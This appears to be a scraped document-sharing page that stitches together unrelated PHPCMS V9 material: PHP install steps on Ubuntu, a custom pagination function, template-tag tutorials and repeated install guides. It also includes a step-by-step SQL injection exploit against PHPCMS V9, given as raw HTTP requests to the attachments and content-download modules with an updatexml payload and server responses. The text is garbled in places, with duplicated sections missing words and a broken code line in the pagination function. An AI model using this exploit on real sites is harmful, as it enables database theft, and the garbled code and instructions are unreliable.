PHPCMS V9安装步骤详解
- 格式:pdf
- 大小:521.35 KB
- 文档页数:7
php配置教程php的安装和配置
只有安装和配置好php,web服务器才能解析php网页,在Ubuntu 14.04上安装和配置php呢?下面是WTT收集整理的php的安装和配置,希望对大家有帮助~~
php的安装和配置
工具/原料
Ubuntu 14.04
方法/步骤
更新源列表
打开“终端窗口”,输入“sudo apt-get update”-->回车-->“输入root用户的密码”-->回车,就可以了。
如果不运行该命令,直接安装php,会出现“有几个软包无法下载,您可以运行apt-get update------”的错误提示,导致无法安装。
安装php
打开“终端窗口”,输入“sudo apt-get install php5”-->回车-->输入“y”-->回车-->安装完成。
让Apache支持php
打开“终端窗口”,输入“sudo apt-get install libapache2-mod-php5”-->回车-->安装完成。
安装php5-gd模块
打开“终端窗口”,输入“sudo apt-get install php5-gd”-->回车-->安装完成。
使用gedit在“/var/”下创建info.php文
打开“终端窗口”,输入“sudo gedit /var//info.php”-->回车-->在编辑器中输入“”-->保存,文创建成功。
测试Apache是否能解析php网页
在火狐浏览器中输入“127.0.0.1\info.php”-->出现了php 的版本信息页面,说明php安装配置成功。
PHPCMS v9 自定义分页 概述:在 v9 二次开发中,经常会涉及到自定义分页样式的情况,默认的分页样式很难满足我们的开发要求。
这个时候,就会用到自定义分页样式。
自定义分页样式需要用到以下两个文件: V9 安装目录/phpcms\libs\functions\global.func.php V9 安装目录/phpcms/libs/classes/template_cache.class.php 1)在 V9 安装目录/phpcms/libs/functions/autoload 文件夹下创建一个 custom.func.php 脚本文件。
这个 custom 可以自己随便取,但是,必须是*.func.php 格式。
2)然后在 global.func.php 文件里面找到 pages()分页函数, 将此函数复制到刚才创建的 custom.func.php 脚 本中。
然后将函数名改成 custom_page,代码如下: <?php /** * 自定义的函数脚本文件。
* * 在 phpcms/libs/autoload 文件夹里面放置的*.func.php 这样的文件,会被自动加载。
* 切记,一定是*.func.php 这样的 php 脚本文件才会被自动加载,如果是类似 test.php 这样的文件不会被 加载。
* 在这个脚本里面写的任何函数,可以全局使用。
在 PHPCMS v9 运行过程中,此脚本会被自动加载。
* 千万不要直接修改核心文件里面的功能,以免造成官方升级带来的代码错误问题。
* * @author qljs888@ * @date 2012.05.27 */ /** * 自定义分页函数 * * 这里定义的函数,请不要与系统核心里面定义的函数重名,否则会造成函数重复定义错误。
* * * * * * * @param @param @param @param @param @return $num 信息总数 $curr_page 当前分页 $perpage 每页显示数 $urlrule URL 规则 $array 需要传递的数组,用于增加额外的方法 分页*/ function custom_pages($num, $curr_page, $perpage = 20, $urlrule = '', $array = array(),$setpages = 10) { if(defined('URLRULE') && $urlrule == '') { $urlrule = URLRULE; $array = $GLOBALS['URL_ARRAY']; } elseif($urlrule == '') {$urlrule = url_par('page={$page}'); } $multipage = ''; if($num > $perpage) { $page = $setpages+1; $offset = ceil($setpages/2-1); $pages = ceil($num / $perpage); if (defined('IN_ADMIN') && !defined('PAGES')) define('PAGES', $pages); $from = $curr_page - $offset; $to = $curr_page + $offset; $more = 0; if($page >= $pages) { $from = 2; $to = $pages-1; } else { if($from <= 1) { $to = $page-1; $from = 2; } elseif($to >= $pages) { $from = $pages-($page-2); $to = $pages-1; } $more = 1; } $multipage .= '<a class="a1">'.$num.L('page_item').'</a>'; if($curr_page>0) { $multipage .= ' <a href="'.pageurl($urlrule, $curr_page-1, class="a1">'.L('previous').'</a>'; if($curr_page==1) { $multipage .= ' <span>1</span>'; } elseif($curr_page>6 && $more) { $multipage .= ' <a href="'.pageurl($urlrule, 1, $array).'">1</a>..'; } else { $multipage .= ' <a href="'.pageurl($urlrule, 1, $array).'">1</a>'; } } for($i = $from; $i <= $to; $i++) { if($i != $curr_page) { $multipage .= ' <a href="'.pageurl($urlrule, $i, $array).'">'.$i.'</a>'; } else { $multipage .= ' <span>'.$i.'</span>'; } } if($curr_page<$pages) {$array).'"if($curr_page<$pages-5 && $more) { $multipage .= ' ..<a href="'.pageurl($urlrule, $pages, $array).'">'.$pages.'</a> <a href="'.pageurl($urlrule, $curr_page+1, $array).'" class="a1">'.L('next').'</a>'; } else { $multipage .= ' <a href="'.pageurl($urlrule, $pages, $array).'">'.$pages.'</a> <a href="'.pageurl($urlrule, $curr_page+1, $array).'" class="a1">'.L('next').'</a>'; } } elseif($curr_page==$pages) { $multipage .= ' <span>'.$pages.'</span> <a href="'.pageurl($urlrule, $curr_page, $array).'" class="a1">'.L('next').'</a>'; } else { $multipage .= ' <a href="'.pageurl($urlrule, $pages, $array).'">'.$pages.'</a> <a href="'.pageurl($urlrule, $curr_page+1, $array).'" class="a1">'.L('next').'</a>'; } } return $multipage; } ?>3)因为我们都懂 PHP,所以,里面涉及到的要添加什么 HTML 标签、样式什么的,这个应该很容易的。
PHPCMS V9模板制作教程2011年5月29日12:17第一节1、首先下载phpcms v9的集成安装包并安装,在官方论坛里很显眼的位置,这里就不详细说明了。
2、本地调试建议大家使用APMserver,或者wampserver等,可以到PHPCMS吧官方网站首页链接下载。
安装好打开v9的根目录“phproot→phpcms→templates”文件夹把“default”文件夹复制一份起名“redu”。
3、登陆v9后台登录地址:http://localhost/admin.php用户名:phpcms 密码:phpcms。
4、打开界面→模板风格→风格标识redu下的详细列表下的content文件夹。
5、大家熟悉一下后台的使用,这个必须掌握。
今天就写这些。
第二节课1、首先修改首页模板index.html修改前向大家介绍下v9的工作模式,v9和他的前身phpcms2008是一样的都是“标签调用头部 +首页部分+ 标签调用底部”所以按照从头开始的顺序第一步打开heard.html现在我们开始分析header.html的构造:<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN""/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="/1999/xhtml">上面是W3C网页标准<head><meta http-equiv="Content-Type" content="text/html; charset={CHARSET}" />{CHARSET}" =字符集(gbk或者utf-8)<meta http-equiv="X-UA-Compatible" content="IE=7" /><title>{if isset($SEO['title']) && !empty($SEO['title'])}{$SEO['title']}{/if}{$SEO['site_title']}</title>判断语句翻译:如果设置了标题并且标题不为空,则显示标题,否则显示网站名称<meta name="keywords" content="{$SEO['keyword']}"><meta name="description" content="{$SEO['description']}"><link href="{CSS_PATH}reset.css" rel="stylesheet" type="text/css" /><link href="{CSS_PATH}default_blue.css" rel="stylesheet" type="text/css" />上面2行是外部css的调用{CSS_PATH}<script type="text/javascript" src="{JS_PATH}jquery.min.js"></script><script type="text/javascript" src="{JS_PATH}jquery.sGallery.js"></script><script type="text/javascript" src="{JS_PATH}search_common.js"></script>上面3行是网页的js调用</head><body><div class="body-top"><div class="content">{pc:content action="position" posid="9" order="id" num="10" cache="3600"}<div id="announ"><ul>{loop $data $k $v}<li><a href="{$v[url]}">{$v[title]}</a></li>{/loop}</ul></div>{/pc}<script type="text/javascript">$(function(){startmarquee('announ',22,1,500,3000);})</script><div class="login lh24 blue"><a href="{APP_PATH}index.php?m=content&c=rss&siteid={get_siteid()}" class="rss ib">rss</a><span class="rt"><script type="text/javascript">document.write('<iframe src="{APP_PATH}index.php?m=member&c=index&a=mini&forward='+encodeURIComponent(location.href)+'&siteid={ get_siteid()}" allowTransparency="true" width="300" height="24" frameborder="0" scrolling="no"></iframe>')</script></span></div></div></div><div class="header"><div class="logo"><a href="/"><img src="{IMG_PATH}v9/logo.jpg" /></a></div>下面是搜索部分<div class="search"><div class="tab" id="search">{php $j=0}{php $search_model = getcache('search_model_'.$siteid, 'search');}{loop $search_model $k=>$v}{php $j++;}<a href="javascript:;" style="outline:medium none;" hidefocus="true" {if $j==1 && $typeid= $v['typeid']} class="on" {/if}>{$v['name']}</a>{if $j != count($search_model)}<span> |</span>{/if}{/loop}{php unset($j);}</div> <div class="bd"><form action="{APP_PATH}index.php" method="get" target="_blank"><input type="hidden" name="m" value="search"/><input type="hidden" name="c" value="index"/><input type="hidden" name="a" value="init"/><input type="hidden" name="typeid" value="{$typeid}" id="typeid"/><input type="hidden" name="siteid" value="{$siteid}" id="siteid"/><input type="text" class="text" name="q" id="q"/><input type="submit" value="搜索" class="button" /></form></div></div>搜索部分结束<div class="banner"><script language="javascript" src="{APP_PATH}index.php?m=poster&c=index&a=show_poster&id=1"></script></div><div class="bk3"></div><div class="nav-bar"><map>{pc:content action="category" catid="0" num="25" siteid="$siteid" order="listorder ASC"}<ul class="nav-site"><li><a href="{siteurl($siteid)}"><span>首页</span></a></li>{loop $data $r}<li class="line">|</li><li><a href="{$r[url]}"><span>{$r[catname]}</span></a></li>{/loop}</ul>{/pc}</map></div>{if $top_parentid}<div class="subnav">{pc:content action="category" catid="$top_parentid" num="15" siteid="$siteid"order="listorder ASC"}{loop $data $r}<a href="{$r[url]}">{$r[catname]}</a><span> | </span>{/loop}{/pc}{if $modelid}<a href="{APP_PATH}index.php?m=content&c=search&catid={$catid}">搜索</a>{/if}</div>{/if}</div>建议下载个opera浏览器他的检查页面元素功能超赞!第四节{template "content","header"}调用根目录下phpcms/template/content/header文件<!--main-->这个是模版注释!建议一定要养成写代码加注释的习惯这个是div标签,不知道什么是div可以的去网上找些教程学习下,这个都不了解就没必要继续看了<!--这里是pc标签{pc:content 参数名="参数值" 参数名="参数值" 参数名="参数值"}--> {pc:content action="position" posid="2" order="listorder DESC" num="4"}<!--显示PC标签中的数据-->{loop $data $r}{str_cut($r[title],36)}{if $n==1}{/if}{str_cut($r[description],112)}{/loop}{/pc}<!--结束标签--><!--这里还是pc标签-->{pc:content action="position" posid="1" order="listorder DESC" thumb="1" num="5"} {loop $data $r}{/loop}{/pc}推广{pc:block pos="index_block_1"}{/pc}图片新闻{pc:content action="position" posid="12" thumb="1" order="id DESC" num="10"} {loop $data $r}{str_cut($r[title],20)}{/loop}{/pc}{loop subcat(0,0,0,$siteid) $r}{php $num++}{$r[catname]}更多>>{pc:content action="lists" catid="$r[catid]" num="1" thumb="1" order="id DESC" return="info"}{loop $info $v}{str_cut($v['title'],28)}{str_cut($v['description'],100)}{/loop}{/pc}{pc:content action="lists" catid="$r[catid]" num="5" order="id DESC" return="info"} {loop $info $v}·{str_cut($v['title'],40)}{/loop}{/pc}{if $num%2==0}{/if}{/loop}公告{pc:announce action="lists" siteid="$siteid" num="2"}{loop $data $r}{$r['title']}{/loop}{/pc}专题更多>>{pc:special action="lists" siteid="$siteid" elite="1" listorder="3" num="2"}{loop $data $r}{if $n!=1}{/if}{str_cut($r[title],'18')}{str_cut($r['description'],50)}{/loop}{/pc}热点 | 评论 | 关注排行{pc:content action="hits" catid="35" num="10" order="views DESC"}{loop $data $r}{$r[title]}{/loop}{/pc}{pc:comment action="bang" num="10" cache="3600"}{loop $data $r}{$r[title]}{/loop}{/pc}{pc:content action="hits" catid="35" num="10" order="views DESC"}{loop $data $r}{$r[title]}{/loop}{/pc}{pc:link action="type_list" siteid="$siteid" linktype="1" order="listorder DESC" num="8" return="pic_link"}{loop $pic_link $v}{/loop}{/pc}{pc:link action="type_list" siteid="$siteid" order="listorder DESC" num="10" return="dat"} {loop $dat $v}{if $type==0}{$v[name]} |{else}{/if}{/loop}{/pc}$(function(){new slide("#main-slide","cur",310,260,1);//焦点图new SwapTab(".SwapTab","span",".tab-content","ul","fb");//排行TAB}){template "content","footer"}第三节1、养成书写规范的DIV标签搜索引擎优化(seo)中,对代码的优化也是一个很关键的步骤。
三一文库()〔PHPCMS,V9自带采集体验〕*篇一:phpcmsv9安装图文教程phpcmsv9安装图文教程Phpcms是国内领先的网站内容管理系统,同时也是一个开源的PHP开发框架。
Phpcms由内容模型、会员、问吧、专题、财务、订单、广告、邮件订阅、短消息、自定义表单、全站搜索等20多个功能模块组成,内置新闻、图片、下载、信息、产品5大内容模型。
Phpcms采用模块化开发,支持自定义内容模型和会员模型,并且可以自定义字段。
2.下载完解压后,有两个文件夹,将install_package 目录下所有文件上传到网站,并打开网:你的域名/install/index.php。
3.点击“开始安装”进入下一步环境检测,功能影响,只要是都是绿色的打勾就可以进行下一步安装了。
4.全新安装包括phpsso(PHPSSO是用PHP开发的单点登录系统。
在接入PHPSSO的多个应用系统中,用户只需要登录一次就可以访问所有相互信任的应用系统)。
其他模块根据需要安装。
5.列表中所有的目录都必须可写,检测成功点“下一步”继续。
6.设置默认数据库连接和管理员帐户。
7.安装成功。
8.查看安装后的网站首页。
9.后台登陆页面。
10.后台首页。
9.后台登陆页面。
*篇二:v9实际应用{phpif($r[thumb]=="")continue}调用的时候出来了缩略图和标题时候怎么去掉没有所列图的加上代码PHPCMSV9分类信息模型测试版适用版本:V9系作者:rocing列语言编码:GBK发布日期:2011-03-25简体、UTF8简15:03:29体、适用版本号:版权所属:PHPCMS20110318以上演示地址:支持网站:PHPCMSV9分类信息模型测试版单城市版多城市版自定义管理根据需要使用多城市版、单城市版,城市自由添加任意绑定联动菜单多筛选条件完全自定义根据模型配置,自由调用需成为筛选条件的字段,轻松调用,组建多条件筛选。
PHPCMS,V9自带采集体验
篇一:9安装图文教程9安装图文教程是国内领先的网站内容管理系统,同时也是一个开源的开发框架。
由内容模型、会员、问吧、专题、财务、订单、广告、邮件订阅、短消息、自定义表单、全站搜索等20多个功能模块组成,内置新闻、图片、下载、信息、产品5大内容模型。
采用模块化开发,支持自定义内容模型和会员模型,并且可以自定义字段。
2下载完解压后,有两个文件夹,将_目录下所有文件上传到网站,并打开网你的域名。
3点击“开始安装”进入下一步环境检测,功能影响,只要是都是绿色的打勾就可以进行下一步安装了。
4全新安装包括(是用开发的单点登录系统。
在接入的多个应用系统中,用户只需要登录一次就可以访问所有相互信任的应用系统)。
其他模块根据需要安装。
5列表中所有的目录都必须可写,检测成功点“下一步”继续。
6设置默认数据库连接和管理员帐户。
7安装成功。
8查看安装后的网站首页。
9后台登陆页面。
10后台首页。
9后台登陆页面。
篇二:9实际应用{($[]=="")}调用的时候出来了缩略图和标题时候怎么去掉没有所列图的加上代码9分类信息模型测试版适用版本:9系作者:列语言编码:发布日期:2019-03-25简体、8简150329体、适用版本号:版权所属:20190318以上演示地址:支持网站:9分类信息模型测试版单城市版多城市版自定义管理根据需要使用多城市版、单城市版,城市自由添加任意绑定联动菜单多筛选条件完全自定义根据模型配置,自由调用需成为筛选条件的字段,轻松调用,组建多条件筛选。
phpcmsv9注⼊GET /phpcms/index.php?m=wap&c=index&a=init&siteid=1 HTTP/1.1Host: localhostProxy-Connection: keep-aliveCache-Control: max-age=0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36Accept-Encoding: gzip, deflate, sdchAccept-Language: zh-CN,zh;q=0.8Cookie: nYbXT_siteid=8f34EZvyi7oJBh8g69s3wO0YGxWeF_ohQ8serAzU; CNZZDATA1256104530=⾸先访问上述的url,返回的数据如下HTTP/1.1 200 OKDate: Tue, 11 Apr 2017 17:29:08 GMTServer: Apache/2.4.9 (Win32) PHP/5.5.12X-Powered-By: PHP/5.5.12Set-Cookie: nYbXT_siteid=a504MiYFpsbeMmu-WUkntLfOSbQAJa61keJ3OvHNVary: Accept-EncodingContent-Length: 35Content-Type: text/html; charset=gbk你访问的站点不存在或者未开启wap访问复制上述返回数据中的红⾊cookie值访问下述urlPOST /phpcms/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id%3D%25%2A27%20and%20updatexml%281%2CCONCAT%281%2C%28SELECT%20table_name%20FROM%20information_schema.%60TABLE Host: localhostProxy-Connection: keep-aliveCache-Control: max-age=0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36Content-Type: application/x-www-form-urlencodedAccept-Encoding: gzip, deflate, sdchAccept-Language: zh-CN,zh;q=0.8Cookie: nYbXT_siteid=1464mbfPNyq9TWB2vKrI0h9yNabsKQf8NI4dqH3c; CNZZDATA1256104530=Content-Length: 57userid_flash= 上述的src为sql注⼊的语句,post中的userid_flash为上述的红⾊cookie值 返回如下:HTTP/1.1 200 OKDate: Tue, 11 Apr 2017 17:30:02 GMTServer: Apache/2.4.9 (Win32) PHP/5.5.12X-Powered-By: PHP/5.5.12Set-Cookie: PHPSESSID=oj9abeufn86ajm9md7a2n8bjl4; path=/Expires: Thu, 19 Nov 1981 08:52:00 GMTCache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0Pragma: no-cacheSet-Cookie: nYbXT_att_json=Vary: Accept-EncodingContent-Length: 0Content-Type: text/html; charset=gbk 将上述标记颜⾊的值复制到⼀下payload中,即可完成注⼊GET /phpcms//index.php?m=content&c=down&a_k=Host: localhostProxy-Connection: keep-aliveCache-Control: max-age=0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36Accept-Encoding: gzip, deflate, sdchAccept-Language: zh-CN,zh;q=0.8Cookie: nYbXT_siteid=; CNZZDATA1256104530= 返回HTTP/1.1 200 OKDate: Tue, 11 Apr 2017 17:30:10 GMTServer: Apache/2.4.9 (Win32) PHP/5.5.12X-Powered-By: PHP/5.5.12Vary: Accept-EncodingContent-Length: 685Content-Type: text/html; charset=gbk<div style="font-size:12px;text-align:left; border:1px solid #9cc9e0; padding:1px 4px;color:#000000;font-family:Arial, Helvetica,sans-serif;"><span><b>MySQL Query : </b> SELECT * FROM `phpcms`.`v9_download_data` WHERE `id` = '' and up 这个利⽤过程来⾃/Article/html/3/8/2017/85138_2.htm。
<?php学习phpcms菜鸟第一课:------------安装phpcms和后台访问管理----------------------------------------------------------------------------------制作良好习惯:1、备份2、随时保存3、注释step1:在自己的PHP环境中,建立一个文件夹phpcmsnotice:(1)访问安装://localhost/phpcms(2)全新安装PHPCMS V9 (含PHPSSO)step2:安装完成之后:*安装完毕请登录后台生成首页,更新缓存*默认phpcms管理员密码与phpsso管理员密码相同〔就是phpcms〕*为了您站点的安全,安装完成后即可将网站根目录下的“install”文件夹删除。
【自动删除了!】进入后台的://localhost/phpcms/index.php?m=admin&c=index&a=login&pc_hash=也可直接输入://localhost/phpcms/admin.php----------------------------------------------------------------------------------------------学习phpcms菜鸟第二课:622188*************------------config配置文件修改--------------------------------------------------------------------------------修改路径:config 配置,修改\phpcms\templates\phpxxx\config.php〔phpxxx是自己定制的模版默认的是default〕default 改phpxx〔自己定制的模版〕templates|default|content 像这样的可以替换----------------------------------------------------------------------------------------------学习phpcms菜鸟第三课:------------头部和尾部的包含---------------------------------------------------------------------------------- 头部:{template "content","header"}翻译:引用content文件夹下的header.html尾部:{template "content","footer"}意思同上当然可以引用其他外部文件的:比方:{template "phpxx","header_xxx"}翻译:引用phpxxx文件夹下的header_xx.html phpcms是比较智能的,如果找不到对应的模板时候会有提示的:templates\xxxx\xxxx\header_xxxx.html is not exists!如果系统自己在你自己定制模板找不到,会自己去default默认模板去找----------------------------------------------------------------------------------------------学习phpcms菜鸟第四课:------------header.html头部文件的使用----------------------------------------------------------------------------------标题:<title>{if isset($SEO['title']) && !empty($SEO['title'])}{$SEO['title']}{/if}{$SEO['site_title']}</title>$SEO['title']是我们在后台设置的网站标题,简单理解就是代号,做项目时候直接copy 就行了关键词:<meta name="keywords" content="{$SEO['keyword']}">网页描述:<meta name="description" content="{$SEO['description']}">关键词和网页描述同标题一样,你不需要懂得太多的东西,做网站时候直接copy下面是一些标签常量:{CSS_PATH}css文件的加载下面是对应的路径://localhost/testpcms/statics/css/{JS_PATH}js文件的加载://localhost/testpcms/statics/js/{IMG_PATH}图片文件的加载://localhost/testpcms/statics/images/{APP_PATH}网站路径://localhost/xxxx/{siteurl($siteid)}也是网站的路径〔不同的是是针对站群而言〕://localhost/testpcms/以上的标签常量你只要会在对应的位置copy就行了不需要了解太多原理TIP〔建议〕:我个人比较建议使用官方的标签常量,这样我们以后改版的时候会很轻松pc标签:{pc:content action="position" posid="9" order="id DESC" num="10" cache="3600"} <div id="announ"><ul>{loop $data $k $v}<li><a href="{$v[url]}">{$v[title]}</a></li>{/loop}</ul></div>{/pc}{pc:content 参数名="参数值" 参数名="参数值" 参数名="参数值"}{/pc}DESC是降序。
PHPCMSV9安装教程一、准备工作1. 硬件要求:至少需要一台运行Windows、Linux或Mac OS的服务器或者主机。
2.环境要求:需要安装PHP和MySQL,请确保已经成功安装并且配置了PHP和MySQL环境。
二、解压安装包三、创建数据库1. 打开MySQL管理工具(如phpMyAdmin),创建一个新的数据库,例如命名为phpcms_v9、记住数据库的名称、用户名和密码,稍后会用到。
1. 进入PHPCMS V9安装包所在的目录,找到根目录下的config文件夹,然后打开config文件夹中的config.ini.php文件。
- `$dbhost`:填写MySQL数据库的主机地址,通常为localhost。
- `$dbuser`:填写MySQL数据库的用户名。
- `$dbpass`:填写MySQL数据库的密码。
- `$dbname`:填写刚才创建的数据库名称,即phpcms_v9- `$tablepre`:填写数据库表的前缀,可以保持默认值。
3. 保存并关闭config.ini.php文件。
五、开始安装1. 打开浏览器,访问你的网站,即localhost或者你的域名。
2.出现PHPCMS安装界面后,选择语言,点击下一步。
3.在检查环境界面,会显示是否满足安装要求,请确保所有环境要求都已经满足。
然后点击下一步。
4.在数据库配置界面,填写刚才创建的数据库信息,包括数据库主机、用户名、密码和数据库名称。
然后点击下一步。
5.设置管理员账号:填写管理员账号、密码和电子邮件地址,用于登录PHPCMS后台管理界面。
然后点击下一步。
6.在安装模板界面,选择想要安装的模板风格,可以选择默认或者其他的模板。
然后点击下一步。
7.开始安装,等待安装过程完成。
8.安装完成后,会显示安装成功的信息,同时也会提供管理员登录链接。
点击链接,输入刚才设置的管理员账号和密码进行登录。
六、登录后台管理界面1.使用刚才设置的管理员账号和密码,登录PHPCMS的后台管理界面。
✓ 出处:站长百科
PHPCMS V9安装步骤详解
✓ 出处:站长百科
✓ 原文地址:/wiki/Phpcms_v9/安装
✓
本电子书整理自站长百科Phpcms_v9/安装词条,查看内容请访问网站。
目录
PHPCMS V9安装步骤详解 ...................................................................... 1安装前准备 ............................................................................................. 2系统要求 ................................................................................................. 2目录权限设置 ......................................................................................... 2phpcms v9安装 ....................................................................................... 3参考来源 ................................................................................................. 7Phpcms v9使用手册导航 .. (7)
好消息:Lunarpages 推新优惠码:lun50off
所有方案减50美元
安装前准备
Phpcms具备跨平台特性,可以运行于Linux/FreeBSD/Unix及微软Windows 2000/2003 等各种操作系统环境下。
我们已在软件中针对上述操作系统做了大量的测试和实地检验,保证 Phpcms 可以在上述系统中安全稳定的运行,但您仍然需要做好服务器操作系统级的安全防备措施,例如 Windows 用户需更改MySQL for Windows 的初始 root 密码,避免跨目录的文件读写;类Unix 用户需避免使用过于简单的密码,避免跨用户目录的文件读写,做好服务器上其他相关软件(如 Sendmail, ftpd, httpd)等的安全防范,使用较新的软件版本等。
推荐使用 Linux/FreeBSD 操作系统,不仅完全免费,而且可以获得更好的稳定性和负载能力。
如果使用 Windows 系统,请将PHP以 ISAPI(非 CGI)方式安装。
建议不要启用php安全模式运行。
系统要求
•可用的 httpd 服务器(如 Apache, Zeus, IIS 等)
•PHP 版本 5.2 或更高的版本。
•MySQL版本推荐5.0或者更高版本。
目录权限设置
上传PHPCMS V9程序到服务器
设置相关目录的文件属性,以便数据文件可以被程序正确读写
使用FTP软件登录您的服务器,将服务器上以下目录、以及该目录下面的所有文件的属性设置为 777,Win 主机请设置 internet 来宾帐户可读写属性。
./ ✓出处:站长百科
✓ 出处:站长百科
uploadfile ./caches ./phpsso_server/caches/ ./phpsso_server/uploadfil e/ ./ html/
phpcms v9安装
以上步骤都操作完成,且确定无误的情况下,就可以正式开始在浏览器中进行安装PHPCMS V9了。
直接输入网址,系统会自动引导进行安装。
阅读授权协议后点击“开始安装”,系统会自动检查环境及文件目录权限,如下图:
阅读授权协议后点击“开始安装
”,系统会自动检查环境及文件目录权限,如下图:
✓ 出处:站长百科
检测成功,点击“下一步”,
即进入模块选择、PHPSSO 选择界面,如下图所示:
✓ 出处:站长百科
在这里,PHPSSO 项我们选择 全新安装PHPCMS V9(含PHPSSO )。
可选模块默认不变,点击下一步,进入文件权限设置检查。
如下图:
文件权限检查完毕,无误即可直接点击下一步进入
数据库配置选项,如下图所示:
当安装版本为GBK版本,所以数据库也选择为GBK编码。
请正确填写好PHPCMS V9数据库及管理员信息,
点击下一步,系统会自动安装,直到安装完毕,如下图所示:
✓出处:站长百科
安装完毕后,点击进入PHPCMS V9进入后台管理,至此,PHPCMS V9已经成功地安装完毕!您可以登录PHPCMS V9后台,并开始设置了。
参考来源
•/view/f785ac37a32d7375a41780a0.html
✓出处:站长百科。